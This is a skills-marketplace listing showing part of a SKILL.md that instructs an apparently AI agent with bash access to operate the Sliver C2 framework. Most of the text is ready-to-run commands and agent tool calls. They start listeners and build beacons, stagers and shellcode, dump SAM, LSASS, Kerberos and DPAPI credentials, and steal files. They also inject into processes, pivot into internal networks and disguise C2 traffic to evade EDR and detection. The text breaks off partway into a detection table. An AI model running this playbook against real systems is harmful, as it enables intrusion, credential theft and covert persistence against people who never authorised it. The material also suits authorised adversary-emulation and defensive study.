Skip to main content

c2-sliver

Sliver C2 framework operations — server connection, listener setup, implant generation, BOF/Armory extensions, post-implant operations, HTTP C2 profiles.

الانتقال إلى التثبيت

معلومات المصدر

المستودع
BitterSecurity/Decepticon
آخر نشاط في المصدر
٣٠ يونيو ٢٠٢٦ في ٠٥:٢٤
لغة SKILL.md المكتشفة
الإنجليزية
النجوم
٥٬٥٦٥
التفرعات
١٬٠٥٣

خيارات التثبيت

يُحدَّد Prompt الذي يراجع المصدر أولًا بشكل افتراضي. يمكنك التبديل إلى أمر مباشر أو تنزيل نسخة محلية.

مراجعة ملفات المصدر

اقرأ SKILL.md وأي ملفات مرافقة يعرضها SkillsMP قبل أن تقرر التثبيت.

مستكشف الملفات
2 ملفات

عرض SKILL.md

SKILL.md
تعليمات المصدر · معاينة للقراءة فقط
name
c2-sliver
description
Sliver C2 framework operations — server connection, listener setup, implant generation, BOF/Armory extensions, post-implant operations, HTTP C2 profiles.
allowed-tools
Bash Read
metadata
{"subdomain":"command-and-control","when_to_use":"Sliver, sliver-client, sliver listener, sliver implant, sliver beacon, armory, BOF","tags":"c2, sliver, implant, beacon, listener, bof, armory, pivot","mitre_attack":"T1071, T1573, T1090, T1105, T1572"}
# Sliver C2 Framework Sliver is an open-source, cross-platform adversary emulation framework by BishopFox. It supports beacon (async) and session (interactive) implants over mTLS, HTTPS, DNS, and WireGuard channels with multi-operator support. ## Decepticon Setup > **Server**: `c2-sliver` container on `sandbox-net` (daemon mode, gRPC on port 31337) > **Client**: `sliver-client` pre-installed in sandbox > **Config**: Auto-generated operator config at `/workspace/.sliver-configs/decepticon.cfg` > > ### Connection Procedure (via bash tool) > ``` > # 1. Verify C2 reachable > bash(command="nc -z c2-sliver 31337 && echo 'C2_OK' || echo 'C2_DOWN'", description="Check the Sliver C2 server is reachable") > > # 2. Import operator config (once — skip if already imported) > bash(command="ls ~/.sliver-client/configs/ 2>/dev/null | grep -q . || sliver-client import /workspace/.sliver-configs/decepticon.cfg", description="Import the Sliver operator config if not already present") > > # 3. Start interactive console in dedicated tmux session > bash(command="sliver-client console", session="c2", description="Open the Sliver client console") > > # 4. Run Sliver commands interactively > bash(command="https --lhost 0.0.0.0 --lport 443 --domain c2-sliver", is_input=True, session="c2", description="Start an HTTPS listener on port 443") > bash(command="sessions", is_input=True, session="c2", description="List active Sliver sessions") > ``` > > **IMPORTANT**: > - Do NOT generate operator configs manually — use the pre-generated one at `/workspace/.sliver-configs/decepticon.cfg` > - Do NOT start `sliver-server` in sandbox — the server runs in its own container > - `sliver-client console` is interactive — MUST use a dedicated session (e.g. `session="c2"`) and send subsequent commands with `is_input=True` > - If "multiple configs found": `bash(command="sliver-client console --config ~/.sliver-client/configs/decepticon_c2-sliver.cfg", session="c2", description="Open the Sliver console with the explicit config")` ## 1. Listener Configuration > All commands below run inside the Sliver console (`session="c2"`, `is_input=True`). ### HTTPS Listener ```bash # Basic HTTPS listener on 443 https --lhost 0.0.0.0 --lport 443 --domain c2-sliver # HTTPS with custom certificate (better OPSEC) https --lhost 0.0.0.0 --lport 443 --domain c2-sliver \ --cert /workspace/certs/cert.pem \ --key /workspace/certs/key.pem # HTTPS with Let's Encrypt (requires DNS control) https --lhost 0.0.0.0 --lport 443 --domain c2-sliver --lets-encrypt ``` ### DNS Listener ```bash # DNS listener — requires NS record pointing to C2 server dns --domains c2.<TARGET> --lport 53 # Verify DNS resolution dig @c2-sliver test.c2.<TARGET> TXT +short ``` ### mTLS Listener ```bash # mTLS — encrypted, mutual authentication (recommended for internal pivoting) mtls --lhost 0.0.0.0 --lport 8888 # mTLS on non-standard port mtls --lhost 0.0.0.0 --lport 8443 ``` ### WireGuard Listener ```bash # WireGuard tunnel — full network access through implant wg --lhost 0.0.0.0 --lport 51820 ``` ## 2. Implant Generation > **CRITICAL — Compilation Timeout**: > Sliver's `generate` command **compiles a Go binary from source**. This takes 2-10 minutes > depending on options. The spinner animation (`⠴ Compiling, please wait ...`) keeps the > screen active, so stall detection will NOT trigger early. > > **Rules**: > 1. **ALWAYS use `--skip-symbols`** — reduces compilation time from ~5 min to ~30 sec > 2. **ALWAYS use `--save <path>`** — saves implant directly to the target directory. > Do NOT rely on the default save location and then `cp` — file copy may fail on > bind-mounted volumes (WSL2/NTFS "Invalid argument" error). > 3. **Use a longer timeout** for generate commands: > `bash(command="generate ...", is_input=True, session="c2", timeout=300, description="Generate the Sliver implant")` > > **Example (correct)**: > ``` > bash(command="generate --os linux --arch amd64 --mtls c2-sliver:8888 --skip-symbols --save /workspace/exploit/", is_input=True, session="c2", timeout=300, description="Generate a Linux mTLS implant into the exploit directory") > ``` ### Beacon (Async) ```bash # Windows beacon via mTLS with jitter generate beacon --mtls c2-sliver:8888 --os windows --arch amd64 \ --seconds 30 --jitter 50 --skip-symbols \ --name win_beacon \ --save /workspace/exploit/ # Windows beacon via HTTPS generate beacon --https c2-sliver:443 --os windows --arch amd64 \ --seconds 60 --jitter 30 --skip-symbols \ --save /workspace/exploit/ # Linux beacon via DNS (low-and-slow) generate beacon --dns c2-sliver --os linux --arch amd64 \ --seconds 120 --jitter 70 --skip-symbols \ --name lin_dns \ --save /workspace/exploit/ ``` ### Session (Interactive) ```bash # Windows session — persistent connection, immediate response generate --mtls c2-sliver:8888 --os windows --arch amd64 \ --skip-symbols --name win_session \ --save /workspace/exploit/ # Linux session via HTTPS generate --https c2-sliver:443 --os linux --arch amd64 \ --skip-symbols --name lin_https \ --save /workspace/exploit/ ``` ### Stager (Small Initial Payload) ```bash # TCP stager — downloads full implant after initial execution generate stager --lhost c2-sliver --lport 8443 --protocol tcp \ --os windows --arch amd64 \ --save /workspace/exploit/stager.bin ``` ### Shellcode (For Custom Loaders) ```bash # Raw shellcode for process injection / custom droppers generate --mtls c2-sliver:8888 --os windows --arch amd64 \ --format shellcode --skip-symbols \ --save /workspace/exploit/shellcode.bin ``` ### Output Formats | Format | Flag | Use Case | |--------|------|----------| | EXE | `--format exe` | Direct execution | | Shared library | `--format shared` | DLL sideloading | | Shellcode | `--format shellcode` | Injection, custom loaders | | Service | `--format service` | Windows service persistence | ### OPSEC: Implant Hardening ```bash # Skip debug symbols (smaller, harder to reverse, MUCH faster compile) generate --mtls c2-sliver:8888 --os windows --skip-symbols # Limit implant size generate --mtls c2-sliver:8888 --os windows --format shellcode --skip-symbols ``` ## 3. Session & Beacon Management ```bash # List active sessions / beacons sessions beacons # Interact with session use <SESSION_ID> # Interact with beacon use <BEACON_ID> # Background current session background # Kill session sessions -k <SESSION_ID> # Rename implant rename -n <NEW_NAME> ``` ## 4. Post-Implant Operations ### Host Reconnaissance ```bash # After `use <SESSION_ID>` whoami # Current user getuid # User ID getgid # Group ID getprivs # Token privileges info # Full implant info # System enumeration shell systeminfo shell ipconfig /all shell net user shell net localgroup administrators shell tasklist /v # Environment env pwd ls ``` ### File Operations ```bash # Download from target download C:\\Users\\<USER>\\Documents\\sensitive.docx /workspace/post-exploit/loot/ # Upload tool to target upload /workspace/exploit/implants/SharpHound.exe C:\\Windows\\Temp\\ # List directory ls C:\\Users\\<USER>\\Desktop\\ ``` ### Process Operations ```bash # List processes ps # Process injection (migrate to another process for stealth) migrate <PID> # Execute .NET assembly in memory (no disk touch) execute-assembly /workspace/tools/Seatbelt.exe -group=all # Sideload DLL (reflective loading) sideload /workspace/tools/mimikatz.dll # Screenshot screenshot # Spawn new process shell notepad.exe ``` ### Credential Operations ```bash # Dump SAM hashes (requires SYSTEM/admin) hashdump # Kerberos ticket extraction execute-assembly /workspace/tools/Rubeus.exe dump # DPAPI credential access execute-assembly /workspace/tools/SharpDPAPI.exe triage # Comprehensive host audit execute-assembly /workspace/tools/Seatbelt.exe -group=all ``` ## 5. BOF / Armory (In-Memory Extensions) Beacon Object Files (BOFs) execute position-independent C code in the implant process — no new process creation, no disk writes. ### Armory (Package Manager) ```bash # List available extensions armory # Install extension from armory armory install sa-ldapsearch armory install nanodump armory install credman armory install situational-awareness # Update all installed extensions armory update ``` ### BOF Execution ```bash # LDAP enumeration (no LDAP tool needed on target) sa-ldapsearch -- "(objectClass=user)" sa-ldapsearch -- "(objectClass=computer)" # Process dump with nanodump (LSASS without Mimikatz) nanodump -w C:\\Windows\\Temp\\debug.dmp # Credential manager access credman # Situational awareness (whoami, env, network) situational-awareness ``` ### Why BOFs Over execute-assembly | Feature | BOF | execute-assembly | |---------|-----|------------------| | Process creation | None (runs in implant) | Fork & run (new process) | | Disk artifacts | None | .NET assembly loaded | | EDR visibility | Low (in-process) | Medium (CLR load event) | | Size | Small (KBs) | Larger (full .NET binary) | | Flexibility | C only | Any .NET assembly | ## 6. Network & Pivot Operations ### SOCKS5 Proxy ```bash # Route traffic through implant into target network socks5 start -p 1080 # Use from sandbox with proxychains: # proxychains nmap -sT -On <INTERNAL_HOST> ``` ### Port Forwarding ```bash # Forward local port to remote service through implant portfwd add -b 127.0.0.1:9090 -r <INTERNAL_HOST>:445 # List active port forwards portfwd # Remove forward portfwd rm -i <ID> ``` ### Reverse Port Forwarding ```bash # Expose sandbox service to target network via implant rportfwd add -b <INTERNAL_HOST>:8080 -r 127.0.0.1:8080 ``` ### Pivot Listener ```bash # Create pivot listener on compromised host — new implants connect through it pivots tcp --bind 0.0.0.0:9898 # Generate implant that connects via pivot generate --tcp-pivot <PIVOT_HOST>:9898 --os windows ``` ### WireGuard Pivot ```bash # WireGuard port forward for full tunnel wg-portfwd add --remote <INTERNAL_HOST>:3389 --bind 127.0.0.1:3389 ``` ## 7. HTTP C2 Profile Custom profiles shape C2 traffic to mimic legitimate application traffic. ```json { "implant_config": { "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "url_parameters": [ { "name": "session", "value": "{{.GUID}}", "probability": 100 } ], "headers": [ { "name": "Accept", "value": "text/html,application/xhtml+xml", "probability": 100 }, { "name": "Accept-Language", "value": "en-US,en;q=0.9", "probability": 100 } ] }, "server_config": { "headers": [ { "name": "Content-Type", "value": "text/html; charset=utf-8", "probability": 100 }, { "name": "Server", "value": "Microsoft-IIS/10.0", "probability": 100 }, { "name": "X-Powered-By", "value": "ASP.NET", "probability": 100 } ] } } ``` Save to `profiles/sliver_https.json` and apply when starting HTTPS listener. ## 8. Detection Signatures (Sliver-Specific) | Indicator | Pattern | Mitigation | |-----------|---------|------------| | Default HTTP headers | `Server: Apache/2.4.x` + unique header combo | Use custom HTTP C2 profile |
عرض على GitHub
ملف SKILL.md هذا كبير جدا، لذلك يعرض SkillsMP القسم الاول فقط هنا. عرض على GitHub